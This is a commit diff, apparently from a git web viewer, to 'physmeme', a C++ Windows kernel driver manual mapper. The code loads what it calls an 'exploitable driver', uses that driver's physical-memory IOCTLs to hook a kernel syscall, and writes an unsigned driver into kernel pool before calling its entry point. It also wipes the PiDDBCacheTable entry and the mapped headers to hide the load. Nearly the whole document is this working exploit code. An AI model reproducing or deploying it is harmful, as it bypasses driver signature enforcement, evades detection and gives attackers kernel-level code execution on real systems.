Browse Source

cleaned some code

master
xerox 2 years ago
parent
commit
efe9fd48c8
  1. 103
      physmeme-lib/drv_image/drv_image.cpp
  2. 17
      physmeme-lib/drv_image/drv_image.h
  3. 3
      physmeme-lib/kernel_ctx/kernel_ctx.cpp
  4. 44
      physmeme-lib/map_driver.cpp
  5. 68
      physmeme-lib/physmeme/physmeme.hpp
  6. 103
      physmeme/drv_image/drv_image.cpp
  7. 16
      physmeme/drv_image/drv_image.h
  8. 32
      physmeme/kernel_ctx/kernel_ctx.h
  9. 84
      physmeme/main.cpp
  10. 70
      physmeme/physmeme/physmeme.hpp
  11. 2
      physmeme/util/util.hpp

103
physmeme-lib/drv_image/drv_image.cpp

@ -27,8 +27,6 @@ For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
#include <fstream>
#include "../drv_image/drv_image.h"
namespace physmeme
@ -62,53 +60,49 @@ namespace physmeme
const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress;
const auto source = (uintptr_t)m_dos_header + section.PointerToRawData;
std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress);
printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", &section.Name[0], (void*)source, (void*)target, section.SizeOfRawData);
}
}
bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base)
{
#define IMR_RELOFFSET(x) (x & 0xFFF)
switch (data >> 12 & 0xF)
{
case IMAGE_REL_BASED_HIGH:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_LOW:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_HIGHLOW:
{
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta);
break;
}
case IMAGE_REL_BASED_DIR64:
{
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta;
break;
}
case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required
{
break;
}
default:
{
return false;
}
case IMAGE_REL_BASED_HIGH:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_LOW:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_HIGHLOW:
{
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta);
break;
}
case IMAGE_REL_BASED_DIR64:
{
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta;
break;
}
case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required
{
break;
}
default:
{
return false;
}
}
#undef IMR_RELOFFSET
return true;
}
@ -124,37 +118,24 @@ namespace physmeme
auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase));
auto relocation_size = total_count_bytes;
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults
const bool doRelocations = image_base_delta != 0 && relocation_size > 0;
if (!doRelocations)
{
printf("[+] no relocations needed\n");
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
// too but lots of drivers do not have it set due to WDK defaults
if (!(image_base_delta != 0 && relocation_size > 0))
return;
}
void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size;
while (relocation_directory < relocation_end)
{
auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr);
auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1;
auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1);
for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data)
{
if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE)
{
printf("[+] failed to relocate!");
return;
}
}
relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data);
}
}
template<typename T>
@ -163,31 +144,24 @@ namespace physmeme
return (T*)(uintptr_t)base + offset;
}
void drv_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function)
void drv_image::fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function)
{
ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (import_descriptors == nullptr)
{
printf("[+] no imports!\n");
if (!import_descriptors)
return;
}
for (; import_descriptors->Name; import_descriptors++)
{
IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base);
if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
else
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->FirstThunk);
auto image_func_data = get_rva<IMAGE_THUNK_DATA64>(import_descriptors->FirstThunk);
;
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
{
@ -197,7 +171,6 @@ namespace physmeme
const auto name_of_import = static_cast<char*>(image_import_by_name->Name);
function_address = get_function(module_name, name_of_import);
printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address);
image_func_data->u1.Function = function_address;
}
}

17
physmeme-lib/drv_image/drv_image.h

@ -28,7 +28,6 @@ For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
#pragma once
#include <vector>
#define WIN32_NO_STATUS
@ -52,26 +51,22 @@ namespace physmeme
PIMAGE_DOS_HEADER m_dos_header = nullptr;
PIMAGE_NT_HEADERS64 m_nt_headers = nullptr;
PIMAGE_SECTION_HEADER m_section_header = nullptr;
public:
explicit drv_image(std::vector<uint8_t> image);
void map();
void* data();
size_t size() const;
size_t header_size();
uintptr_t entry_point() const;
void map();
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
void relocate(void* base) const;
void fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function);
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
template<typename T>
__forceinline T* get_rva(const unsigned long offset)
{
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
}
void fix_imports(
const std::function<uintptr_t(std::string_view)> get_module,
const std::function<uintptr_t(const char*, const char*)> get_function
);
void* data();
size_t header_size();
};
}

3
physmeme-lib/kernel_ctx/kernel_ctx.cpp

@ -16,8 +16,7 @@ namespace physmeme
nt_page_offset = nt_rva % page_size;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
);
LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES));
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it

44
physmeme-lib/map_driver.cpp

@ -6,44 +6,22 @@ namespace physmeme
NTSTATUS __cdecl map_driver(std::vector<std::uint8_t>& raw_driver)
{
physmeme::drv_image image(raw_driver);
//
// load exploitable driver
//
if (!physmeme::load_drv())
return STATUS_ABANDONED;
physmeme::kernel_ctx ctx;
//
// shoot the tires off piddb cache.
//
const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp;
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
return STATUS_ABANDONED;
//
// lambdas used for fixing driver image
//
const auto _get_module = [&](std::string_view name)
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name)
{
return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
};
//
// fix the driver image
//
image.fix_imports(_get_module, _get_export_name);
image.fix_imports(_get_export_name);
image.map();
//
// allocate memory in the kernel for the driver
//
const auto pool_base =
ctx.allocate_pool(
image.size(),
@ -51,35 +29,19 @@ namespace physmeme
);
image.relocate(pool_base);
//
// copy driver into the kernel
//
ctx.write_kernel(pool_base, image.data(), image.size());
//
// driver entry
//
auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point();
//
// call driver entry
//
auto result = ctx.syscall<DRIVER_INITIALIZE>(
auto result = ctx.syscall<DRIVER_INITIALIZE>
(
reinterpret_cast<void*>(entry_point),
reinterpret_cast<std::uintptr_t>(pool_base),
image.size()
);
//
// zero driver headers
//
ctx.zero_kernel_memory(pool_base, image.header_size());
physmeme::unmap_all();
if (!physmeme::unload_drv())
return STATUS_ABANDONED;
return result;
}

68
physmeme-lib/physmeme/physmeme.hpp

@ -1,13 +1,14 @@
#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
#include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
@ -19,20 +20,11 @@ typedef struct _GIOMAP
} GIOMAP;
#pragma pack ( pop )
#define MAP_PHYS 0xC3502004
#define UNMAP_PHYS 0xC3502008
namespace physmeme
{
inline std::string drv_key;
inline HANDLE drv_handle = NULL;
// keep track of mappings.
inline std::vector<std::pair<std::uintptr_t, std::uint32_t >> virtual_mappings;
//
// please code this function depending on your method of physical read/write.
//
inline bool load_drv()
{
const auto [result, key] =
@ -54,21 +46,12 @@ namespace physmeme
return drv_handle;
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unload_drv()
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
//
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
{
//--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr))
@ -77,36 +60,35 @@ namespace physmeme
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
virtual_mappings.emplace_back(std::pair<std::uintptr_t, std::size_t>(out_buffer[0], size));
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0];
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL;
DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
//
// unmap all physical memory that was mapped.
//
inline void unmap_all()
{
for (auto idx = 0u; idx < virtual_mappings.size(); ++idx)
unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second);
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
);
}
}

103
physmeme/drv_image/drv_image.cpp

@ -27,8 +27,6 @@ For more information, please refer to <http://unlicense.org>
!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
*/
#include <fstream>
#include "../drv_image/drv_image.h"
namespace physmeme
@ -72,43 +70,41 @@ namespace physmeme
switch (data >> 12 & 0xF)
{
case IMAGE_REL_BASED_HIGH:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_LOW:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_HIGHLOW:
{
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta);
break;
}
case IMAGE_REL_BASED_DIR64:
{
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta;
break;
}
case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required
{
break;
}
default:
{
return false;
}
case IMAGE_REL_BASED_HIGH:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(HIWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_LOW:
{
const auto raw_address = reinterpret_cast<int16_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<unsigned long>(LOWORD(image_base_delta));
break;
}
case IMAGE_REL_BASED_HIGHLOW:
{
const auto raw_address = reinterpret_cast<size_t*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += static_cast<size_t>(image_base_delta);
break;
}
case IMAGE_REL_BASED_DIR64:
{
auto UNALIGNED raw_address = reinterpret_cast<DWORD_PTR UNALIGNED*>(relocation_base + IMR_RELOFFSET(data));
*raw_address += image_base_delta;
break;
}
case IMAGE_REL_BASED_ABSOLUTE: // No action required
case IMAGE_REL_BASED_HIGHADJ: // no action required
{
break;
}
default:
{
return false;
}
}
#undef IMR_RELOFFSET
return true;
}
@ -124,33 +120,21 @@ namespace physmeme
auto image_base_delta = static_cast<uintptr_t>(reinterpret_cast<uintptr_t>(base) - (nt_headers->OptionalHeader.ImageBase));
auto relocation_size = total_count_bytes;
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults
const bool doRelocations = image_base_delta != 0 && relocation_size > 0;
if (!doRelocations)
{
printf("[+] no relocations needed\n");
// This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
// too but lots of drivers do not have it set due to WDK defaults
if (!(image_base_delta != 0 && relocation_size > 0))
return;
}
void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size;
while (relocation_directory < relocation_end)
{
auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr);
auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1;
auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1);
for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data)
{
if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE)
{
printf("[+] failed to relocate!");
return;
}
}
relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data);
}
@ -163,24 +147,19 @@ namespace physmeme
return (T*)(uintptr_t)base + offset;
}
void drv_image::fix_imports(const std::function<uintptr_t(std::string_view)> get_module, const std::function<uintptr_t(const char*, const char*)> get_function)
void drv_image::fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function)
{
ULONG size;
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(
::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (import_descriptors == nullptr)
{
printf("[+] no imports!\n");
if (!import_descriptors)
return;
}
for (; import_descriptors->Name; import_descriptors++)
{
IMAGE_THUNK_DATA* image_thunk_data;
const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name);
printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base);
if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
@ -196,8 +175,6 @@ namespace physmeme
const auto image_import_by_name = get_rva<IMAGE_IMPORT_BY_NAME>(*(DWORD*)image_thunk_data);
const auto name_of_import = static_cast<char*>(image_import_by_name->Name);
function_address = get_function(module_name, name_of_import);
printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address);
image_func_data->u1.Function = function_address;
}
}

16
physmeme/drv_image/drv_image.h

@ -52,26 +52,22 @@ namespace physmeme
PIMAGE_DOS_HEADER m_dos_header = nullptr;
PIMAGE_NT_HEADERS64 m_nt_headers = nullptr;
PIMAGE_SECTION_HEADER m_section_header = nullptr;
public:
explicit drv_image(std::vector<uint8_t> image);
void map();
void* data();
size_t size() const;
size_t header_size();
uintptr_t entry_point() const;
void map();
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
void relocate(void* base) const;
void fix_imports(const std::function<uintptr_t(const char*, const char*)> get_function);
static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base);
template<typename T>
__forceinline T* get_rva(const unsigned long offset)
{
return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr);
}
void fix_imports(
const std::function<uintptr_t(std::string_view)> get_module,
const std::function<uintptr_t(const char*, const char*)> get_function
);
void* data();
size_t header_size();
};
}

32
physmeme/kernel_ctx/kernel_ctx.h

@ -27,6 +27,22 @@ namespace physmeme
//
inline std::atomic<void*> psyscall_func;
//
// offset of function into a physical page
// used for comparing bytes when searching
//
inline std::uint16_t nt_page_offset;
//
// rva of nt function we are going to hook
//
inline std::uint32_t nt_rva;
//
// base address of ntoskrnl (inside of this process)
//
inline std::uint8_t* ntoskrnl_buffer;
class kernel_ctx
{
public:
@ -98,22 +114,6 @@ namespace physmeme
return result;
}
private:
//
// offset of function into a physical page
// used for comparing bytes when searching
//
std::uint16_t nt_page_offset;
//
// rva of nt function we are going to hook
//
std::uint32_t nt_rva;
//
// base address of ntoskrnl (inside of this process)
//
std::uint8_t* ntoskrnl_buffer;
//
// find and map the physical page of a syscall into this process
//

84
physmeme/main.cpp

@ -6,116 +6,66 @@ int __cdecl main(int argc, char** argv)
{
if (argc < 2)
{
perror("[-] invalid use, please provide a path to a driver\n");
std::perror("[-] invalid use, please provide a path to a driver\n");
return -1;
}
std::vector<std::uint8_t> drv_buffer;
util::open_binary_file(argv[1], drv_buffer);
if (!drv_buffer.size())
{
perror("[-] invalid drv_buffer size\n");
std::perror("[-] invalid drv_buffer size\n");
return -1;
}
physmeme::drv_image image(drv_buffer);
if (!physmeme::load_drv())
{
perror("[!] unable to load driver....\n");
std::perror("[!] unable to load driver....\n");
return -1;
}
physmeme::kernel_ctx ctx;
physmeme::kernel_ctx kernel_ctx;
std::printf("[+] driver has been loaded...\n");
std::printf("[+] %s mapped physical page -> 0x%p\n", physmeme::syscall_hook.first, physmeme::psyscall_func.load());
std::printf("[+] %s page offset -> 0x%x\n", physmeme::syscall_hook.first, physmeme::nt_page_offset);
//
// shoot the tires off piddb cache entry.
//
const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp;
printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp);
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
if (!kernel_ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
{
// this is because the signature might be broken on these versions of windows.
perror("[-] failed to clear PiDDBCacheTable.\n");
return -1;
}
printf("[+] cleared piddb cache...\n");
//
// lambdas used for fixing driver image
//
const auto _get_module = [&](std::string_view name)
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name)
{
return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
};
//
// fix the driver image
//
image.fix_imports(_get_module, _get_export_name);
printf("[+] fixed imports\n");
image.fix_imports(_get_export_name);
image.map();
printf("[+] sections mapped in memory\n");
//
// allocate memory in the kernel for the driver
//
const auto pool_base = ctx.allocate_pool(image.size(), NonPagedPool);
printf("[+] allocated 0x%llx at 0x%p\n", image.size(), pool_base);
if (!pool_base)
{
printf("[!] allocation failed!\n");
return -1;
}
const auto pool_base = kernel_ctx.allocate_pool(image.size(), NonPagedPool);
image.relocate(pool_base);
printf("[+] relocations fixed\n");
//
// copy driver into the kernel
//
ctx.write_kernel(pool_base, image.data(), image.size());
//
// driver entry
//
kernel_ctx.write_kernel(pool_base, image.data(), image.size());
auto entry_point = reinterpret_cast<std::uintptr_t>(pool_base) + image.entry_point();
//
// call driver entry
//
auto result = ctx.syscall<DRIVER_INITIALIZE>(
auto result = kernel_ctx.syscall<DRIVER_INITIALIZE>
(
reinterpret_cast<void*>(entry_point),
reinterpret_cast<std::uintptr_t>(pool_base),
image.size()
);
printf("[+] driver entry returned: 0x%p\n", result);
//
// zero driver headers
//
ctx.zero_kernel_memory(pool_base, image.header_size());
std::printf("[+] driver entry returned: 0x%p\n", result);
//
// unload exploitable driver
//
physmeme::unmap_all(); // just in case there are any left over physical pages mapped...
kernel_ctx.zero_kernel_memory(pool_base, image.header_size());
if (!physmeme::unload_drv())
{
perror("[!] unable to unload driver... all handles closed?\n");
std::perror("[!] unable to unload driver... all handles closed?\n");
return -1;
}
printf("[+] unloaded exploitable driver....\n");
printf("[=] press enter to close\n");
std::printf("[=] press enter to close\n");
std::cin.get();
}

70
physmeme/physmeme/physmeme.hpp

@ -1,13 +1,14 @@
#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
#include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#define MAP_PHYSICAL 0xC3502004
#define UNMAP_PHYSICAL 0xC3502008
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
@ -19,20 +20,11 @@ typedef struct _GIOMAP
} GIOMAP;
#pragma pack ( pop )
#define MAP_PHYS 0xC3502004
#define UNMAP_PHYS 0xC3502008
namespace physmeme
{
inline std::string drv_key;
inline HANDLE drv_handle = NULL;
// keep track of mappings.
inline std::vector<std::pair<std::uintptr_t, std::uint32_t >> virtual_mappings;
//
// please code this function depending on your method of physical read/write.
//
inline bool load_drv()
{
const auto [result, key] =
@ -54,59 +46,49 @@ namespace physmeme
return drv_handle;
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unload_drv()
{
return CloseHandle(drv_handle) && driver::unload(drv_key);
}
//
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
inline std::uintptr_t map_phys(std::uintptr_t addr, std::size_t size)
{
//--- ensure the validity of the address we are going to try and map
if (!util::is_phys_addr_valid(addr))
if (!util::is_valid(addr))
return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
virtual_mappings.emplace_back(std::pair<std::uintptr_t, std::size_t>(out_buffer[0], size));
if (!DeviceIoControl(
drv_handle,
MAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
))
return NULL;
return out_buffer[0];
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
inline bool unmap_phys(std::uintptr_t addr, std::size_t size)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { sizeof(out_buffer) };
unsigned long returned = NULL;
DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
//
// unmap all physical memory that was mapped.
//
inline void unmap_all()
{
for (auto idx = 0u; idx < virtual_mappings.size(); ++idx)
unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second);
return DeviceIoControl(
drv_handle,
UNMAP_PHYSICAL,
reinterpret_cast<LPVOID>(&in_buffer),
sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer),
sizeof(out_buffer),
&returned, NULL
);
}
}

2
physmeme/util/util.hpp

@ -21,7 +21,7 @@ namespace util
static std::map<std::uintptr_t, std::size_t> pmem_ranges{};
//--- validates the address
inline bool is_phys_addr_valid(std::uintptr_t addr)
inline bool is_valid(std::uintptr_t addr)
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)

Loading…
Cancel
Save